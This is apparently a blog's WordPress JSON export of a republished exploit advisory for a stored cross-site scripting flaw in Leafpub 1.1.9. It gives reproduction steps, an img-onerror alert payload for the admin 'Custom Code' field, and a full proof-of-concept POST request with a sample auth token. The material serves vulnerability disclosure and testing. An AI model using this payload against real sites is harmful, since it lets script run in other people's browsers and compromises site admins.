{"id":56839,"date":"2024-05-14T19:50:26","date_gmt":"2024-05-14T15:50:26","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/178558\/leafpub119-xss.txt"},"modified":"2024-05-14T19:50:26","modified_gmt":"2024-05-14T15:50:26","slug":"leafpub-1-1-9-cross-site-scripting","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/leafpub-1-1-9-cross-site-scripting\/","title":{"rendered":"Leafpub 1.1.9 Cross Site Scripting"},"content":{"rendered":"<p># Leafpub 1.1.9 &#8211; Stored Cross-Site Scripting (XSS)<br \/># Date: 2024-04-24<br \/># Exploit Author: Ahmet \u00dcmit BAYRAM<br \/># Vendor Homepage: https:\/\/github.com\/Leafpub<br \/># Software Link: https:\/\/github.com\/Leafpub\/leafpub<br \/># Version: 1.1.9<br \/># Tested on: MacOS<\/p>\n<p>### Steps to Reproduce ###<\/p>\n<p>&#8211; Please login from this address: http:\/\/localhost\/leafpub\/admin\/login<br \/>&#8211; Click on the Settings &gt; Advanced<br \/>&#8211; Enter the following payload into the &#8220;Custom Code&#8221; area and save it: (&#8220;&gt;&lt;img<br \/>src=x onerror=alert(&#8220;Stored&#8221;)&gt;)<br \/>&#8211; An alert message saying &#8220;Stored&#8221; will appear in front of you.<\/p>\n<p>### PoC Request ###<\/p>\n<p>POST \/leafpub\/api\/settings HTTP\/1.1<br \/>Host: localhost<br \/>Cookie:<br \/>authToken=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3MTM5NjQ2MTcsImV4cCI6MTcxMzk2ODIxNywiZGF0YSI6eyJ1c2VybmFtZSI6ImFkbWluIn19.967N5NYdUKxv1sOXO_OTFiiLlm7sfgDWPXKX7iEZwlo<br \/>User-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10.15; rv:124.0)<br \/>Gecko\/20100101 Firefox\/124.0<br \/>Accept: *\/*<br \/>Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3<br \/>Accept-Encoding: gzip, deflate, br<br \/>Content-Type: application\/x-www-form-urlencoded; charset=UTF-8<br \/>X-Requested-With: XMLHttpRequest<br \/>Content-Length: 476<br \/>Origin: http:\/\/localhost<br \/>Referer: http:\/\/localhost\/leafpub\/admin\/settings<br \/>Sec-Fetch-Dest: empty<br \/>Sec-Fetch-Mode: cors<br \/>Sec-Fetch-Site: same-origin<br \/>Te: trailers<br \/>Connection: close<\/p>\n<p>title=A+Leafpub+Blog&amp;tagline=Go+forth+and+create!&amp;homepage=&amp;twitter=&amp;theme=range&amp;posts-per-page=10&amp;cover=source%2Fassets%2Fimg%2Fleaves.jpg&amp;logo=source%2Fassets%2Fimg%2Flogo-color.png&amp;favicon=source%2Fassets%2Fimg%2Flogo-color.png&amp;language=en-us&amp;timezone=America%2FNew_York&amp;default-title=Untitled+Post&amp;default-content=Start+writing+here&#8230;&amp;head-code=%22%3E%3Cimg+src%3Dx+onerror%3Dalert(%22Stored%22)%3E&amp;foot-code=&amp;generator=on&amp;mailer=default&amp;maintenance-message=&amp;hbs-cache=on<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Leafpub 1.1.9 &#8211; Stored Cross-Site Scripting (XSS)# Date: 2024-04-24# Exploit Author: Ahmet \u00dcmit BAYRAM# Vendor Homepage: https:\/\/github.com\/Leafpub# Software Link: https:\/\/github.com\/Leafpub\/leafpub# Version: 1.1.9# Tested on: MacOS ### Steps to Reproduce ### &#8211; Please login from this address: http:\/\/localhost\/leafpub\/admin\/login&#8211; Click on the Settings &gt; Advanced&#8211; Enter the following payload into the &#8220;Custom Code&#8221; area and save &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56839","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56839","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56839"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56839\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56839"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56839"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56839"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}